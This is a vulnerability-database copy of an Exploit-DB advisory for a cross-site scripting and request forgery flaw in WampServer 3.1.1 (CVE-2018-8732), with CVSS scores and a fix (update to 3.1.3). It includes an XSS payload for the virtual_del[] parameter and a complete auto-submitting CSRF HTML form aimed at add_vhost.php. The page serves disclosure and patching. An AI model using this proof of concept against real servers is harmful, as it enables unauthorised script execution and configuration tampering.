Vipin ChaudharyEDB-ID:44384WampServer 3.1.1 - Cross-Site Scripting / Cross-Site Request Forgery
3.5 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
5.5 Medium
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
44.6%
# Exploit Title: WampServer 3.1.1 XSS via CSRF
# Date: 31-03-2018
# Software Link: http://www.wampserver.com/en/
# Version: 3.1.1
# Tested On: Windows 10
# Exploit Author: Vipin Chaudhary
# Contact: http://twitter.com/vipinxsec
# Website: http://medium.com/@vipinxsec
# CVE: CVE-2018-8732
1. Description
XSS: cross site scripting via CSRF is remotely exploitable.
http://forum.wampserver.com/read.php?2,138295,150615,page=6#msg-150615
http://forum.wampserver.com/read.php?2,150617
2. Proof of Concept
How to exploit this XSS vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Go to Supress Virtual host and select one to delete and then intercept
the request using burp suite or any other proxy tool
3. Change the value of parameter *virtual_del[] *to "><img src=x
onerror=alert(1)> and forward it then you will see the XSS triggered.
How to see it:
1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
<body onload="wamp_csrf.submit();">
<form action="[localhost]; name="wamp_csrf" method="POST">
<input type="hidden" name="virtual_del[]"
value=""><img src=x onerror=alert(1)>"
/>
<input type="hidden" name="vhostdelete"
value="Suppress VirtualHost" />
</form>
</body>
</html>
Warning: action="[localhost] is action='
http://localhost/add_vhost.php?lang=english' replacing simple quotes(') by
double quote("[image: winking smiley]
3. Solution:
Update to version 3.1.3
http://www.wampserver.com/en/#download-wrapperRelated
3.5 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
5.5 Medium
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
44.6%